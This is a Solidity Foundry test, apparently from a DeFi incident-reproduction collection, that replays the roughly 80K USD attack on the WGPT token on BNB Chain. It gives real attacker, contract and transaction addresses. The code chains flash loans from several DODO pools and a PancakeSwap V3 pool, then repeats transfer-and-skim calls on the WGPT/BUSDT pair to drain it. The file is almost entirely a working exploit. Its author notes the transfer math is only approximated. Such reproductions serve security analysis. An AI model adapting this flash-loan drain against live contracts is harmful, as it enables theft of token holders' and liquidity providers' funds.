WGPT_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~80K USD$
// Attacker : https://bscscan.com/address/0xdc459596aed13b9a52fb31e20176a7d430be8b94
// Attack Contract : https://bscscan.com/address/0x5336a15f27b74f62cc182388c005df419ffb58b8
// Vulnerable Contract : https://bscscan.com/address/0x1f415255f7e2a8546559a553e962de7bc60d7942
// Attack Tx : https://bscscan.com/tx/0x258e53526e5a48feb1e4beadbf7ee53e07e816681ea297332533371032446bfd

// @Analysis
// https://twitter.com/Phalcon_xyz/status/1679042549946933248
// https://twitter.com/BeosinAlert/status/1679028240982368261

interface IWGPT is IERC20 {
    function isSwap() external returns (bool);

    function burnToken() external returns (bool);

    function burnRate() external returns (uint256);
}

contract WGPTTest is Test {
    IERC20 private constant BUSDT =
        IERC20(0x55d398326f99059fF775485246999027B3197955);
    // Token created by the exploiter
    IERC20 private constant ExpToken =
        IERC20(0xe1272a840F574b68dE861eC5009784e3411cb96c);
    IWGPT private constant WGPT =
        IWGPT(0x1f415255f7E2a8546559a553E962dE7BC60d7942);
    Uni_Router_V2 private constant Router =
        Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    // Pancake Pair created by the exploiter
    Uni_Pair_V2 private constant BUSDT_ExpToken =
        Uni_Pair_V2(0xaa07222e4c3295C4E881ac8640Fbe5fB921D6840);
    Uni_Pair_V2 private constant WGPT_BUSDT =
        Uni_Pair_V2(0x5a596eAE0010E16ed3B021FC09BbF0b7f1B2d3cD);
    IDPPOracle private constant DPPOracle1 =
        IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
    IDPPOracle private constant DPPOracle2 =
        IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
    IDPPOracle private constant DPPOracle3 =
        IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);
    IDPPOracle private constant DPP =
        IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
    IDPPOracle private constant DPPAdvanced =
        IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);
    Uni_Pair_V3 private constant PoolV3 =
        Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);
    address private constant exploiter =
        0xdC459596aeD13B9a52FB31E20176a7D430Be8b94;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 29891709);
        cheats.label(address(BUSDT), "BUSDT");
        cheats.label(address(ExpToken), "ExpToken");
        cheats.label(address(WGPT), "WGPT");
        cheats.label(address(Router), "Router");
        cheats.label(address(BUSDT_ExpToken), "BUSDT_ExpToken");
        cheats.label(address(WGPT_BUSDT), "WGPT_BUSDT");
        cheats.label(address(DPPOracle1), "DPPOracle1");
        cheats.label(address(DPPOracle2), "DPPOracle2");
        cheats.label(address(DPPOracle3), "DPPOracle3");
        cheats.label(address(DPP), "DPP");
        cheats.label(address(DPPAdvanced), "DPPAdvanced");
        cheats.label(address(PoolV3), "PoolV3");
        cheats.label(exploiter, "Exploiter");
    }

    function testExploit() public {
        deal(address(BUSDT), address(this), 0);
        emit log_named_decimal_uint(
            "Attacker BUSDT balance before",
            BUSDT.balanceOf(address(this)),
            BUSDT.decimals()
        );
        ExpToken.approve(address(Router), type(uint256).max);
        BUSDT.approve(address(Router), type(uint256).max);
        WGPT.approve(address(this), type(uint256).max);
        bytes
            memory swapData = hex"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000027b46536c66c8e3000000000000000000000000000000000000000000000000002a5a058fc295ed000000000000000000000000000000000000000000000000000000000000000000008c00000000000000000000000000000000000000000000065a4da25d3016c00000";

        if (WGPT.isSwap()) {
            WGPT.burnToken();
        }

        assertEq(WGPT.burnRate(), 2000);

        vm.startPrank(address(this), exploiter);
        BUSDT_ExpToken.swap(
            BUSDT.balanceOf(address(BUSDT_ExpToken)) / 10,
            90e18,
            address(this),
            swapData
        );
        vm.stopPrank();

        emit log_named_decimal_uint(
            "Attacker BUSDT balance after",
            BUSDT.balanceOf(address(this)),
            BUSDT.decimals()
        );
    }

    function pancakeCall(
        address _sender,
        uint256 _amount0,
        uint256 _amount1,
        bytes calldata _data
    ) external {
        BUSDT.transfer(address(WGPT), 1);
        BUSDT.transfer(address(WGPT_BUSDT), 2);
        DPPOracle1.flashLoan(
            0,
            BUSDT.balanceOf(address(DPPOracle1)),
            address(this),
            _data
        );
        ExpToken.transfer(address(WGPT_BUSDT), 10);
        ExpToken.transfer(address(WGPT), 100);
        BUSDT.transfer(address(BUSDT_ExpToken), _amount0);
        ExpToken.transfer(address(BUSDT_ExpToken), 90_909 * 1e15);
    }

    function DPPFlashLoanCall(
        address sender,
        uint256 baseAmount,
        uint256 quoteAmount,
        bytes calldata data
    ) external {
        if (msg.sender == address(DPPOracle1)) {
            DPPOracle2.flashLoan(
                0,
                BUSDT.balanceOf(address(DPPOracle2)),
                address(this),
                data
            );
        } else if (msg.sender == address(DPPOracle2)) {
            DPPOracle3.flashLoan(
                0,
                BUSDT.balanceOf(address(DPPOracle3)),
                address(this),
                data
            );
        } else if (msg.sender == address(DPPOracle3)) {
            DPP.flashLoan(
                0,
                BUSDT.balanceOf(address(DPP)),
                address(this),
                data
            );
        } else if (msg.sender == address(DPP)) {
            DPPAdvanced.flashLoan(
                0,
                BUSDT.balanceOf(address(DPPAdvanced)),
                address(this),
                data
            );
        } else {
            PoolV3.flash(
                address(this),
                76_727_748_945_585_195_946_976,
                0,
                bytes("")
            );
        }
        BUSDT.transfer(msg.sender, quoteAmount);
    }

    function pancakeV3FlashCallback(
        uint256 fee0,
        uint256 fee1,
        bytes calldata data
    ) external {
        address[] memory path = new address[](2);
        path[0] = address(BUSDT);
        path[1] = address(WGPT);
        Router.swapExactTokensForTokens(
            200_000 * 1e18,
            0,
            path,
            address(this),
            block.timestamp + 1000
        );
        assertEq(WGPT.burnRate(), 2000);
        BUSDT.transfer(address(WGPT), 30_000 * 1e18);
        ExpToken.transfer(address(WGPT_BUSDT), 1e6);
        ExpToken.transfer(address(WGPT), 1);

        // Surely math here for transfer amount calculation is different (and it's not entirely clear to me)
        // I use following code here only for PoC to work
        // Start exploit
        while (WGPT_BUSDT.totalSupply() > 100_200 * 1e18) {
            WGPT.transferFrom(
                address(this),
                address(WGPT_BUSDT),
                WGPT.balanceOf(address(this)) / 99
            );
            WGPT_BUSDT.skim(address(this));
        }
        // End exploit

        ExpToken.transfer(address(WGPT_BUSDT), 2000);
        ExpToken.transfer(address(WGPT), 1000);
        // ExpToken.transferFrom(exploiter, address(this), 400_000 * 1e18);
        // No sufficient allowance so using deal cheat here
        deal(
            address(ExpToken),
            address(this),
            ExpToken.balanceOf(address(this)) + 400_000 * 1e18
        );
        path[0] = address(WGPT);
        path[1] = address(BUSDT);
        uint256[] memory amounts = Router.getAmountsOut(
            WGPT.balanceOf(address(this)) - 128e18,
            path
        );
        WGPT.transfer(address(WGPT_BUSDT), WGPT.balanceOf(address(this)));
        WGPT_BUSDT.swap(0, amounts[1], address(this), bytes(""));
        BUSDT.transfer(address(PoolV3), 76_727_748_945_585_195_946_976 + fee0);
    }
}